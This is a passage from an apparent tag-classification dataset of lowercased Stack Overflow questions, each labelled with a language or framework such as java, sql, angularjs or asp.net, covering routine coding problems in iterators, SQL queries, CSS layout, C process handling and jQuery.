throw new nosuchelementexception();             }             partialtree ret = ptr.tree;             ptr = ptr.next;             rest--;             return ret;         }          public boolean hasnext() {             return rest != 0;         }          public void remove()          throws unsupportedoperationexception {             throw new unsupportedoperationexception();         }      } } </code></pre>   i m having trouble on writing the <code>remove()</code> method. i know all i need to do is set <code>tree</code> to <code>tree.next</code> and return what i removed from the linked list  but for the life of my i can t figure out how to access the tree when i don t have a parameter.     i get an error on the <code>node temp = new node(node.tree);</code> line.,java
atoi() only giving 0 result <pre><code>#include &lt;iostream&gt; #include &lt;math.h&gt; #include &lt;iomanip&gt; #include &lt;sstream&gt; #include &lt;stdio.h&gt; #include &lt;string&gt; #include &lt;stdlib.h&gt; using namespace std;  int main() {     ostringstream str;     double num = pow(2 1000);     int sum = 0;      str &lt;&lt; setprecision(1000) &lt;&lt; num;     string here = str.str();      cout &lt;&lt; here &lt;&lt;  \n\n ;      /*for(int i = 0; i &lt; here.length(); i++)     {         sum += atoi(&amp;here[i]);     }*/      cout &lt;&lt; atoi(&amp;here[0]);     cout &lt;&lt; atoi(&amp;here[1]);     cout &lt;&lt; atoi(&amp;here[2]); } </code></pre>   output:   <pre><code>10715086071862673209484250490600018105614048117055336074437503883703510511249361 22493198378815695858127594672917553146825187145285692314043598457757469857480393 45677748242309854210746050623711418779541821530464749835819412673987675591655439 46077062914571196477686542167660429831652624386837205668069376  000 </code></pre>   why all 0s,c++
angular seed::example use of controllers  the <a href= https://github.com/angular/angular-seed  rel= nofollow >seed app</a> uses routes  which reference controllers  and the controllers are defined like this:   <pre><code>function myctrl1() {}  myctrl1.$inject = []; </code></pre>   looking for a better example (ie) showing injection  maybe an http get and update to scope     thanks.,angularjs
writing a file every x seconds from a function python  i am trying to write to a text file every 5 seconds from the data that is being created by this code.    <pre><code>import time x = 0 while x &lt; 60:     x += 1     y = x + 2     print(x y)     time.sleep(1)      while true:         f = open( outputtest.txt    a+ )         f.write(str(x) +  \n )         time.sleep(5) </code></pre>   what i basically want it to do is print the x value of the script every 5 seconds to a data file    edit: data is not being outputted to a file currently and that is what i am trying to figure out how to do.    the output would ideally be  5 10 15 20 etc,python
html code same for each image  links not all working  i ve coded <a href= http://www.meghanbustardphotography.com/home/  rel= nofollow >http://www.meghanbustardphotography.com/home/</a> and have linked each image to a different page (html code below). however  only the first link in each row is functioning. how can i fix this    <pre><code>&lt;div class= row  class= aligncenter &gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2014/09/colin-karlee-abbotsford-backyard-wedding/ &gt;         &lt;div id= colinkarlee &gt;&lt;/div&gt;     &lt;/a&gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2014/09/andrew-rebecca-whytecliff-park-engagement/ &gt;         &lt;div id= andrewrebecca &gt;&lt;/div&gt;     &lt;/a&gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2014/05/justin-hilary-south-bonson-wedding-2/ &gt;         &lt;div id= justinhilary &gt;&lt;/div&gt;     &lt;/a&gt; &lt;/div&gt; &lt;div class= row  class= aligncenter &gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2014/07/greg-amanda-beach-grove-wedding/ &gt;         &lt;div id= gregamanda &gt;&lt;/div&gt;     &lt;/a&gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2014/10/cory-nicole-fort-langley-little-white-house-wedding/ &gt;         &lt;div id= corynicole &gt;&lt;/div&gt;     &lt;/a&gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2013/09/mike-renae-whonnock-lake-portraits/ &gt;         &lt;div id= mikerenae &gt;&lt;/div&gt;     &lt;/a&gt; &lt;/div&gt;  &lt;div class= row  class= aligncenter &gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2014/08/david-gastown-portraits/ &gt;         &lt;div id= david &gt;&lt;/div&gt;     &lt;/a&gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2014/09/brent-stephanie/ &gt;         &lt;div id= brentstephanie &gt;&lt;/div&gt;     &lt;/a&gt;     &lt;a target= _blank  href= http://www.meghanbustardphotography.com/blog/2014/08/sean-brittany-langley-golf-centre-wedding/ &gt;         &lt;div id= seanbrittany &gt;&lt;/div&gt;     &lt;/a&gt; &lt;/div&gt; </code></pre>,html
how to use uinib to instantiate and use custom uitableviewcells  how would i use uinibs to instantiate and use a uitableviewcell for a tableview in ios5.0. i know there is a registernib:forcellreuseidentifier: in ios5.0 that also needs to be used  but am not sure how to use it     thanks in advance for any help on this,ios
matching similar sets of numbers using linear least squares   consider if you have two sets of numbers:    seta:   <pre><code>10 20 30 40 </code></pre>   and another larger set of numbers:    setb:   <pre><code>15 20 35 40 50 </code></pre>   the goal is to eliminate the items from the larger of the two sets  such that there are the same number of items in both sets  and you are left with sets that are as  close  as possible.  i got the idea that i could try all pairs of each item and minimize the square of the differences.  for example  i think the solution to the above would be:   <pre><code>seta  setb   diff  diffsquared 10    15     5     25 20    20     0     0  30    35     5     25 40    40     0     0  diffsquaredsum == 50 </code></pre>   it is the solution because that is the combination that will give you the smallest diffsquaredsum.  i don t really care about the pairing of items together  it is mainly about trimming the larger set down to a set that is the same number of items  and where the items are as close together as possible.  i realized i could use the concept of linear least squares to solve this  but i m not sure where i would begin in terms of coding this.  i would prefer to use sql but i am not concerned about generating an exact solution as getting an idea of a general approach so i can gauge how difficult this would be.    i think it would basically would involve trying all possible combinations of the two sets:   <pre><code>seta  setb   diff  diffsquared 10    15     5     25 20    20     0     0  30    35     5     25 40    50     10    100  seta  setb   diff  diffsquared 10    15     5     25 20    20     0     0  30    40     10    100 40    50     10    100 </code></pre>   etc. and then selecting the group with the minimum sum of diffsquared.  i might begin by generating a row_number for seta  and then for setb  and then joining on that  which happens to give the answer but that is only by coincidence:   <pre><code>row#    seta  setb 1        10    15 2        20    20  3        30    35 4        40    40  5       null   50 </code></pre>   to be sure i found the answer i would need to do this repeatedly somehow and have an id that tells me which group is which so that i can do a group by on it and then look at each sum.  <strong>i am not sure how to get this set though:</strong>   <pre><code>attempt#  row#   seta  setb 1         1       10    15 1         2       20    20  1         3       30    35 1         4       40    40  2         1       10    15 2         2       20    20  2         3       30    35 2         4       40    50  3         1       10    15 3         2       20    20  3         3       30    40 3         4       40    50  etc.... </code></pre>   notice each attempt# i have eliminated a different item from setb.  in actuality setb might be many items larger than a  so there would be more items eliminated  and thus more possibilities.  once i have the above  i would just add the field calculating the squared difference  and then do a sum with a group by on the attempt #.  then i could select the attempt# with the smallest sumdiffsquared.  i would probably need to store the intermediate results in a temp table or table variable so that i could then walk backwards from that id to get the elements in the successful set.    so the problem is: how to generate all the permutations of those  attempts,sql
simple tips to reduce coupling  i have a large .net web application. the system has projects for different intentions (e.g. cms  forum  ecommerce)  and i have noticed a (naive) pattern of calling on another project s class. for example  the ecommerce module needs functionality to generate a file on the fly for products  and i call and reference a method in the cms to do this  because file handling is really a job for the cms.    obviously (and i know why)  this is bad design and a case of high coupling.    i know a few ways to handle high coupling  like restructuring the project (although i don t really think this is a robust solution)  but what else can i do to reduce high coupling  any simple tips  also  it would be good to know why/how they reduce coupling. i use .net 3.5 and sql server 2005 so things like jms (which i keep coming across in my search for tips on this design issue)  are not applicable.    thanks   <hr>   btw     one of the reasons i ask this is that i have read the previous questions similar to this but usually if a question that has been asked before is asked again  different tips can be learnt as different people reply to the post.    i know of dependency injection/ioc  but i am interested in the small things that can be done to reduce coupling.    how could i choose between using a static class  or an interface-derived class  or the ioc approach when deciding on <em>how</em> to reduce coupling  also  i could develop a web service which could call a static class - mixing up the approaches in my solution.    the interesting thing is that in my application  i don t want it to be disjointed. so i just have a forum  ecommerce system  and any other module required  but everything has to gel into one site so each module (which is represented as a dedicated project in my visual studio solution) needs to know about every other module and work with it. so for example  i might have a module which handles user profiles (working with asp.net membership  roles  etc)  but this will work with the forum module as a user on the forum will be a registered user on the site (one login throughout)  and his or her profile will be coming from the user profile module. this is as opposed to seperate profiles as seen on other sites i ve come across).,c#
combining two rows using sql statement  i have an enquiry about mysql statement about combining two rows in a table using sql statement. initially  i have implemented codes to show in the data grid view the employee s shift.    <pre><code>locationname | stationname | 12:00 - 13:00 | 13:00 - 14:00 | 14:00 - 15:00 t2           | counter     | michael joyce | michael joyce | michael joyce </code></pre>   as you can see  there were two employees under the same location and station. next step  i m going to use sql statement to type out the format and eventually used the sql statement to reportviewer.     this is the sql statement that i tried to show to the same format as shown above.   <pre><code>select   z.locationname    z.stationname    a.12001300    b.13001400    c.14001500 from (select distinct         locationname          stationname       from satsschema.employeeslot       where allocationdate =  10-aug            and locationname =  t2 pml            and stationname is not null) z   left outer join (select                      locationname                       stationname                       empname         as  12001300                     from satsschema.employeeslot                    where assigned = true                        and allocationdate =  10-aug                         and (emptime =  12:00:00  &amp;&amp; emptime &lt;  13:00:00 )) a     on z.locationname = a.locationname       and z.stationname = a.stationname   left outer join (select                      locationname                       stationname                       empname         as  13001400                     from satsschema.employeeslot                    where assigned = true                        and allocationdate =  10-aug                         and (emptime =  13:00:00  &amp;&amp; emptime &lt;  14:00:00 )) b     on a.locationname = b.locationname       and a.stationname = b.stationname   left outer join (select                      locationname                       stationname                       empname         as  14001500                     from satsschema.employeeslot                    where assigned = true                        and allocationdate =  10-aug                         and (emptime =  14:00:00  &amp;&amp; emptime &lt;  15:00:00 )) c     on b.locationname = c.locationname       and b.stationname = c.stationname </code></pre>   this sql statement shown above showed the following results that did not match what i wanted. it shows like this:   <pre><code>locationname | stationname | 12:00 - 13:00 | 13:00 - 14:00 | 14:00 - 15:00 t2           | counter     | michael       | michael       | michael </code></pre>   as you can see  it only shows one employee in the location and station only. how could be done to the sql statement that i could also see other employees if there were more then one inside the location and station. any opinions,mysql
mysql optimisation tool  can anyone suggest a good mysql optimization tool which helps in finding the bottlenecks in a long query and hence help in optimization   i am looking for a query profiler.    thanks...,mysql
angularjs 1.5 component and styling  i m creating a layout generator for flexbox and i m using angularjs 1.5.7 components. basically  my issue is that  replace  does not exist for component but i d like to be able to dynamically style the root element of my component.    say that i have a main  div  with its display set on  flex . when i click on a button  it adds a component in this  div  which will be the items of the flexbox layout. the html generated is:   <pre><code>&lt;div style= display:flex; &gt;   &lt;item&gt;     &lt;div style= flex-grow:1;... &gt;&lt;/div&gt;   &lt;/item&gt; &lt;/div&gt; </code></pre>   my issue is that the styles are applied to the  div  <strong>inside</strong> the  item  element  but  flexbox  does not work as expected as the  item  element does not have any flexbox-related styling. note that the idea is that i also have some dropdown and textbox used to modify the css properties of the  item  component. the template of this one looks like:   <pre><code>&lt;div class= zone  data-ng-style= $ctrl.model.getstyle() &gt; ... &lt;/div&gt; </code></pre>   and i m inserting this component like this:   <pre><code>&lt;item model= $ctrl.item &gt;&lt;/item&gt; </code></pre>   then  my question is:  what s the alternative to  replace  property of directives   or  how to dynamically style the root element of the component  .    thanks,angularjs
loading the different uinavigationcontroller in ios: navigation flow not working  i am working on the universal application  i would like to load the different files for ipad and iphone.    the navigation flow is not working . any help appreciated.    i am writing the code like as below in app delegate    <pre><code>uistoryboard *storyboard = [uistoryboard storyboardwithname:@ main   bundle:nil]; uiviewcontroller *viewcontroller;  uinavigationcontroller *navviewcontroller;     if (idiom == ipad) {     navviewcontroller  = [storyboard instantiateviewcontrollerwithidentifier:@ viewcontroller_ipad ]; } else {     navviewcontroller  = [storyboard instantiateviewcontrollerwithidentifier:@ viewcontroller ]; }  // self.window.rootviewcontroller = viewcontroller; self.window.rootviewcontroller = navviewcontroller; [self.window makekeyandvisible]; return yes; </code></pre>   <a href= https://i.stack.imgur.com/7kijr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7kijr.png  alt= enter image description here ></a>,ios
how can i prevent the logo from moving when i edit the text   i m building a menu with two sections and a logo between.    and i would like to know how can i prevent the logo from moving whenii change the text from both sections. i would like to fix the logo  when i change the about us for exemple  i would like to see the about us editing and moving to the left side  not to the right side.    sorry for my english:    jsfiddle:    <a href= http://jsfiddle.net/ul52rvwn/  rel= nofollow >http://jsfiddle.net/ul52rvwn/</a>    html:   <pre><code> &lt;div class= menu &gt;     &lt;div class= m-info &gt;        &lt;ul&gt;           &lt;li class= l-aboutus &gt;&lt;a&gt;about us&lt;/a&gt;&lt;/li&gt;        &lt;/ul&gt;     &lt;/div&gt;     &lt;div id= logo &gt;&lt;img alt= logo  src= http://i.imgur.com/bebzycu.png  width= 80  height= 80  /&gt;&lt;/div&gt;     &lt;div class= m-contact &gt;        &lt;ul&gt;           &lt;li class= l-ourcontacts &gt;&lt;a&gt;contacts&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;  &lt;/div&gt; </code></pre>,css
log all json objects   in the following code  i want to log all of the objects and their names that are located under data.data.inventoryitems in the <code>$.get</code> code right now it is returning undefined; though if i use <code>console.log(data.data.inventoryitems)</code> under the <code>$.get</code>  it returns 13 objects with child objects within them. i want the children to be logged as well; here is my current code; thanks.   <pre><code>(function (d  s) { s = d.createelement( script ); s.src =  https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js ; (d.head || d.documentelement).appendchild(s); s.onload = function () {     jquery.noconflict();     jquery(function ($) {         var url =  http://www.roblox.com/trade/inventoryhandler.ashx token=%22&amp;filter=0&amp;userid=1210210&amp;page=1&amp;itemsperpage=14&amp;_= ;          function getdata(link) {             $.get(link  function(data) {                 for (var property in data.data.inventoryitems) {                     if (data.hasownproperty(property)) {                         console.log(property);                     }                 }                        });         }         console.log(getdata(url));     }); } </code></pre>   })(document);,jquery
why is the javascript function not called in a web page   there are two textboxes  (txttimefrom and txttimeto)  for a time period in a webpage using a asp.net master page. i used a javascript to validate the data a user enters in these two boxes as a date type on txttimeto onblur event then call texttimeto s code behind event textchanged to  access sql to get data.    the issues is the javascript is never called and textchanged is fired directly. how to solve this issues  thanks in advance!    &lt;%@ page title=   language= vb  autoeventwireup= false  masterpagefile= ~/forms/site.master  codebehind= uniformeval.aspx.vb  inherits= eval2010.uniformeval  %> &lt;%@ register assembly= ajaxcontroltoolkit  namespace= ajaxcontroltoolkit  tagprefix= asp  %>            function checkentereddates(stdateval  endateval) {             //seperate the year month and day for the first date             var stryear1 = stdateval.substring(6);             var strmth1 = stdateval.substring(0  2);             var strday1 = stdateval.substring(5  3);             var date1 = new date(stryear1  strmth1  strday1);   <pre><code>        //seperate the year month and day for the second date         var stryear2 = endateval.substring(6);         var strmth2 = endateval.substring(0  2);         var strday2 = endateval.substring(5  3);         var date2 = new date(stryear2  strmth2  strday2);          var datediffval = (date2 - date1) / 864e5;          if (datediffval &lt;= 0) {             alert( start date must be prior to end date );             return false;         }         return true;     }     //--------------------------------------------------------------------------     //this function validates the date for mm/dd/yyyy format.      //--------------------------------------------------------------------------     function isvaliddate(datestr) {          // checks for the following valid date formats:         // mm/dd/yyyy         // also separates date into month  day  and year variables         var datepat = /^(\d{2 2})(\/)(\d{2 2})\2(\d{4}|\d{4})$/;          var matcharray = datestr.match(datepat); // is the format ok          if (matcharray == null) {             alert( date for date from or date to must be in mm/dd/yyyy format )             return false;         }          month = matcharray[1]; // parse date into variables         day = matcharray[3];         year = matcharray[4];         if (month &lt; 1 || month &gt; 12) { // check month range             alert( month must be between 1 and 12 );             return false;         }         if (day &lt; 1 || day &gt; 31) {             alert( day must be between 1 and 31 );             return false;         }         if ((month == 4 || month == 6 || month == 9 || month == 11) &amp;&amp; day == 31) {             alert( month   + month +   doesn t have 31 days! )             return false;         }         if (month == 2) { // check for february 29th             var isleap = (year % 4 == 0 &amp;&amp; (year % 100 != 0 || year % 400 == 0));             if (day &gt; 29 || (day == 29 &amp;&amp; !isleap)) {                 alert( february   + year +   doesn t have   + day +   days! );                 return false;             }         }         return true;  // date is valid     } &lt;/script&gt; </code></pre>      <pre><code>&lt;tr&gt;     &lt;td class= forumsheader &gt;rating period: &lt;/td&gt;     &lt;td&gt;         &amp;nbsp;&amp;nbspfrom&amp;nbsp;&lt;asp:calendarextender id= calratingfrom  runat= server  targetcontrolid= txtratingfrom &gt;&lt;/asp:calendarextender&gt;         &lt;asp:textbox id= txtratingfrom  runat= server  readonly= true &gt;&lt;/asp:textbox&gt;         &lt;asp:requiredfieldvalidator id= rfvratingfrom  runat= server               controltovalidate= txtratingfrom  display= none               errormessage= please select/enter date for rating from &gt;&lt;/asp:requiredfieldvalidator&gt;         &lt;asp:comparevalidator id= cvratingfrom  runat= server               controltovalidate= txtratingfrom  errormessage= please select/enter right date format for rating from               operator= datatypecheck  type= date  display= none &gt;&lt;/asp:comparevalidator&gt;         &lt;asp:rangevalidator id= rvratingfrom  runat= server               controltovalidate= txtratingfrom  display= none               errormessage= please enter a right date range for ratingperiod from!               maximumvalue= 01/01/2020  minimumvalue= 01/01/2010  type= date &gt;&lt;/asp:rangevalidator&gt;     &lt;/td&gt;     &lt;td colspan= 2 &gt;         to:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;         &lt;asp:calendarextender id= calratingto  runat= server  targetcontrolid= txtratingto &gt;&lt;/asp:calendarextender&gt;         &lt;asp:textbox id= txtratingto  runat= server  autopostback= true               onblur= javascript:validateratingperiod();  &gt;&lt;/asp:textbox&gt;         &amp;nbsp;         &lt;asp:requiredfieldvalidator id= rfvratingto  runat= server  controltovalidate= txtratingto  errormessage= please select/enter date for rating to           display= none &gt;&lt;/asp:requiredfieldvalidator&gt;          &lt;asp:comparevalidator id= cvratingto  runat= server               controltovalidate= txtratingto  errormessage= please select/enter right date format for rating to              operator= datatypecheck  type= date  display= none &gt;&lt;/asp:comparevalidator&gt;         &lt;asp:rangevalidator id= rvratingto  runat= server               controltovalidate= txtratingto  display= none               errormessage= please enter a right date range for ratingperiod to!               maximumvalue= 01/01/2020  minimumvalue= 01/01/2010  type= date &gt;&lt;/asp:rangevalidator&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;table width= 100% &gt;     &lt;tr&gt;&lt;td class= forumsheader  colspan= 2 &gt;&lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;/td&gt;&lt;td width= 50% &gt;&lt;asp:button id= butsubmit  runat= server  width= 120px  cssclass= formbuttonbig  text= submit &gt;&lt;/asp:button&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>       code behind for textchanged event as follows   <pre><code>protected sub txtratingto_textchanged(sender as object  e as eventargs) handles txtratingto.textchanged     dim dt as datatable      if isdate(txtratingto.text) and isdate(txtratingfrom.text) then         try             dt = logic.getumossickinfo(lbltaxid.text  txtratingfrom.text  txtratingto.text)             if dt.rows.count &gt; 0 then                 txttimessick.text = dt.rows(0)( nlodsicktimes ).tostring()                 txttimessicklod.text = dt.rows(0)( lodsicktimes ).tostring()                 txtdayslost.text = dt.rows(0)( nlodsickdays ).tostring()                 txtdayslostlod.text = dt.rows(0)( lodsickdays ).tostring()             end if         catch ex as exception             response.redirect( ../errors/errorgeneric.aspx error=  &amp; ex.message.tostring &amp;  &amp;evalid=  &amp; viewstate( evalid ) &amp;  &amp;errpage=chronicstatus   false)         end try     end if end sub </code></pre>,.net
add a tab to tab control with its content  i am working on an erp project. it is a button on treeview box and when it is clicking on a button in treeview it must create a tab with its content (content which is defined-designed before).    i can add a tab programically  but how can i design its content,c#
how to change uibarbuttonitem s title color when placed in a uitoolbar   i ve tried setting the title text attributes. the button is set by using an icon and then setting the title property. the icon is properly tinted. the title remains  untinted     screenshot attached.<img src= https://i.stack.imgur.com/bqlbn.png  alt= enter image description here >,ios
preventing extra fields from being added to a asp.net form  i realize what i am trying to do is a little unconventional; but i want to make my search seo. basically i want the query string resulting from my search to be human readable; if i was doing straight html this would be cake:    <pre><code>&lt;form method= get &gt;&lt;input type= text  name= zip  /&gt;&lt;/form&gt; </code></pre>   i realize that i can change the form method in asp.net  however  all the asp.net state holders show up in the query string. i even tried disabling viewstate and removing all javascript submitting controls (to get rid of __eventtarget) to no avail.     the thing is  i really want to keep using the same master page as i do in the rest of the site; does any one know of anything i can do short of building the page from scratch     thanks in advance!,asp.net
re-run a code from a particular point  i don t know how to re-run a certain piece of my code:   <pre><code>print( welcome to your currency converter\n please choose your starting currency from the four options: ) currency1=input( (gdp) = pound sterling £ \n(eur) = euro € \n(usd) = us dollar ($) \n(jpy)= japanese yen ¥\n ).lower() if currency1!= gdp  or  eur  or  usd  or  jpy :     print( sorry not accepted try again ) </code></pre>   when the code prints <code>sorry not accepted try again</code> i want to start the code again. how do i do this,python
print  multiple  if multiple values selected from checkbox  if user selects more than one checkbox then it should print  multiple values . now it s showing all the values which user selects. i am trying if else condition with array.length (if array.length> 1) but its not working in my case. below is html and angularjs code   <pre><code>&lt;div class= btn-group acc-vel-env &gt;                 &lt;div class= btn-group metric-dropdown  uib-dropdown is-open= status.isopen &gt;                   &lt;button id= metricdropdown  type= button  class= btn  uib-dropdown-toggle ng-disabled= disabled &gt;                      {{metricobject.selectedmetrics.tostring().touppercase()}}&lt;span class= caret &gt;&lt;/span&gt;                   &lt;/button&gt;                   &lt;ul class= dropdown-menu metric-dropdown-menu  uib-dropdown-menu role= menu                          aria-labelledby= metricdropdown  ng-click= $event.stoppropagation() &gt;                         &lt;li ng-repeat= metricitem in metricobject.metricgroups &gt;                             &lt;div class= checkbox &gt;                                 &lt;input type= checkbox  id= {{metricitem.id}}  name= {{metricitem.name}}                                       ng-checked= metricobject.selectedmetrics.indexof(metricitem.id) &gt; -1                                      ng-value= metricitem.id  ng-click= setselectedmetrics(metricitem.id) &gt;                                      &lt;label for= {{metricitem.id}} &gt;{{metricitem.name}}&lt;/label&gt;                             &lt;/div&gt; </code></pre>   angular js:-   <pre><code>      if(metricid ===  all ){         mid = $scope.metricobject.selectedmetrics.indexof(metricid);         $scope.metricobject.selectedmetrics = [];          if (mid &gt; -1) {             $scope.metricobject.selectedmetrics = [];             $scope.metricobject.selectedmetrics.push( c1 );          }         else {             $.each($scope.metricobject.metricgroups  function(i metricobj){                 $scope.metricobject.selectedmetrics.push(metricobj.id);             });         }     }       else {         mid = $scope.metricobject.selectedmetrics.indexof(metricid);                     if (mid &gt; -1) {             $scope.metricobject.selectedmetrics.splice(mid  1);         } else {             $scope.metricobject.selectedmetrics.push(metricid);         }     }      $timeout(function(){         $scope.showtimeseries(metricid);     }); } </code></pre>,angularjs
getting the entire size of a website using php s ftp functions  i m trying to get the size of my website using php and ftp. i would like to get the size of everything under httpdocs  (files and directories combined)    and have it output: my website is 42.5mb.    i ve tried ftp_rawlist  but that gives me an ugly array that i have no idea how to parse. (im new to php arrays). it also only gives me the file sizes of the files under httpdocs  not files within directories in httpdocs.    is there some sort of recursive function that will do this,php
error in shell interpretator  can someone help this simple program to prompt the users for a command    <pre><code>#include  unistd.h  #include  stdio.h     int main(){       char command[80];       while (putchar( # )  gets(command)) {         if (fork()){           wait(0); /* parent */     }         else { /* child */           execlp(command  command  0);           printf( command not found\n );           exit(1);         }       }  } </code></pre>   command given: <strong>gcc system.c -o system.exe</strong>    error as followed:   <pre><code>system.c: in function ‘main’:  system.c:12:7: warning: missing sentinel in function call [-wformat]  system.c:14:7: warning: incompatible implicit declaration of built-in function ‘exit’ [enabled by default] </code></pre>,c
sql query to get results in a very specific order by date descending and with multiple  like  clause  i am trying to create a sql query but having some real struggle and unsure the best way to write it. i currently have 2 columns  one containing timestamps  the other containing random information. i want the timestamps to be in descending order (easy enough)  but for the secondary column  i want to output the result in the following order    note: the % are intentional as they are in the remaining column.   <ol> <li> %[event=agentstateevent]%  - first</li> <li>%[event=terminalconnectioncreated]%  - second</li> <li>what ever else third forth etc for that time stamp.</li> </ol>   for example:    both columns are strings (varchar max)   <pre>      timestamp       | remaining     timestamp 10:30 | %[event=agentstateevent][agentid=424][queue=45235]%     timestamp 10:30 | %[event=terminalconnectioncreated][agentid=424][queue=45235]%     timestamp:10.31 | %[event=agentstateevent][agentid=425][queue=453635]%     timestamp 10.31 | %[event=terminalconnectioncreated][agentid=425][queue=45235]%     timestamp 10.31 | %[event=calldropped][agentid=425][queue=45235]%     timestamp 10.32 | %[event=terminalconnectioncreated][agentid=426][queue=44235]%     timestamp 10.32 | %[event=calldropped][agentid=426][queue=45235]%  </pre>   it would need to be wrapped in a  like  command as the column remaining contains alot more information.    query i have so far is :   <pre><code>select * from timestampsstorage order by timestamp desc  remaining desc </code></pre>,sql
how to determine the child of a <ul> using jquery   how to determine the child of a ul using jquery      im trying to change the class of the li items in a ul based on their child type in a clickevent of an element,jquery
auto response for a mail in c#.net  i need to know how to create an auto-responder email for a mail which we received from a user. for example if a user sending a mail to us  he should receive a mail as an acknowledgement from us.    please suggest some ideas for how to perform this task by using c# codebehind.    thanks in advance.,asp.net
.net- framework and .net general  what is .net  the framework and clr,.net
question about php mail function  what is smtp smtp_port and how can it get,php
function.call method as callback  excuse me if i ve something missed  but when i try to use call method as a callback it gives me strange error in both chrome and node.js.   <pre><code>[   foo     bar   ].map(string.prototype.trim.call); typeerror: [   foo     bar   ].map is not a function at array.map (native) </code></pre>   but these snippets works:   <pre><code>[   foo     bar   ].map(function (item) {      return string.prototype.trim.call(item); }); // =&gt; [ foo    bar ] /*   and es2015 */ [   foo     bar   ].map(function () {      return string.prototype.trim.call(...arguments); }); // =&gt; [ foo    bar ] </code></pre>   also i ve checked type of <code>call</code> function:   <pre><code>typeof string.prototype.trim.call; // =&gt;  function  </code></pre>   am i doing something wrong  could anyone please explain me why i get such error  thanks.,javascript
sudden and unreproducable  a potentially dangerous request.path value   yesterday for about 2 minutes the error log for my site has this error message:   <pre><code>a potentially dangerous request.path value was detected from the client ( ). </code></pre>   for 7 different errors relating to these two queries:   <pre><code>/flash/userimage.ashx id=53210cd9-2e34-4b27-9315-28c3525cb15c&amp;type=micrositephoto&amp;width=750 /flash/userimage.ashx id=53210cd9-2e34-4b27-9315-28c3525cb15c </code></pre>   i am unable to produce this error by typing the url into my website.    this is the stack trace:   <pre><code>at system.web.httprequest.validateinputifrequiredbyconfig() at system.web.httpapplication.validaterequestexecutionstep.system.web.httpapplication.iexecutionstep.execute() at system.web.httpapplication.executestep(iexecutionstep step  boolean&amp; completedsynchronously) </code></pre>   it seems to be something internal to asp.net/iis.    what could have caused this error  is it some hack attack  i don t understand why it complained about the path then  when subsequent queries are fine. in my error log function  i am getting the pageurl like this:   <pre><code>pageurl = httpcontext.current.request.url.tostring(); </code></pre>   i log the following information about errors: the pageurl  the error message  the stack trace  the error date  and the user logged in  if there is one. is there something else i should log to help me debug this  i can t think of anything.,asp.net
ie6 javascript can t get height by document.getelementbyid(id).offsetheight  i just got a problem which is i can t get the height property of a <code>&lt;p&gt;</code>.(use javascript document.getelementbyid(id).offsetheight)    it works fine both in ff or chrome.    i have tried to set the style of the <code>&lt;p&gt;</code> to height:100%;/height:auto;    but both not work.    please help me  thanks :d    <strong>update: it seems that ie6 didn t return the offsetheight value when page is loading  so maybe i have to put the javascript in the onload event  (cause i put the javascript in the html during the page is load before).</strong>,javascript
re-sizing @page to landscape 4x6  i have a 4x6 piece of paper. i would like it to print landscape. is there anyway to do this  i ve tried different combinations of the code below with no luck. the goal is to get it to work in ie 11.    i also tried adding a rotation to my printable area. also with no luck   <pre><code>@media print {     @page {         size: 6in 4in landscape;         margin: 0in 0in 0in 0in;     }     #printable {         display: block;         rotation:90deg;     } } </code></pre>,css
asp.net page directive: inherit codebehind from alternate assembly   is it possible to set the inherits attribute of an aspx page directive to a class in an arbitrary assembly     i need to modify an asp.net (1.1) application for which the source code was lost. in a new assembly (foo2.dll) i ve created a replacement code-behind class that derives from the original class in the site s code-behind assembly (foo.dll). it seems easy enough to set the inherits attribute of the page directive to the new class name  but when i do that the web server gives me <code>could not load type  foo2.checkout2 </code>. i am referencing the new assembly in the <code>&lt;assemblies&gt;</code> section of web.config.    i don t see anything in the documentation to indicate that this scenario is unsupported  but i m not certain that it is  either.    original   <pre><code>&lt;%@ page inherits= foo.checkout  language= c#  codebehind= checkout.aspx.cs  autoeventwireup= false  %&gt; </code></pre>   new   <pre><code>&lt;%@ page inherits= foo2.checkout2  codefile= checkout2.aspx.cs  codefilebaseclass= foo.checkout  language= c#  codebehind= checkout.aspx.cs  autoeventwireup= false  %&gt; </code></pre>,asp.net
how to use variable that declared in classname.m to that particular classnameviewcontroller.m  hi i am new to iphone development. what i did is i am creating a class named imagepicker.h along with imagepicker.m for that classes i am creating imagepickerviewcontroller.h and imagepickerviewcontroller.m.... in the imagepicker.m i am declring a button for that button assing a image tag value.  now what i need is how to get that buttion.tag value to imagepickerviewcontroller.m  please help me thanku,iphone
uitextview alignment problem  i have an uitextview with many lines of text but there is no option for the text alignment justified  so how to justified the text so it look proper.,iphone
non-activerecord nested model form not taking model values  i m using rails  <code>form_for</code> and <code>fields_for</code> to get a form for a nested <code>json</code> attribute the model has  but i m not getting the value when editing and have to set the value manually:   <pre><code>&lt;%= f.fields_for :json do |ff| %&gt;     &lt;%= ff.text_field :attr  value: @app_configuration.json.attr %&gt; &lt;% end%&gt; </code></pre>   in order to get my json attr to be readable i do this on my controller:   <pre><code>    @app_configuration.json = openstruct.new(json.parse(@app_configuration.json)) </code></pre>   why do i have to manually assing the value     how does <code>ff.text_field</code> look for the attribute value,ruby-on-rails
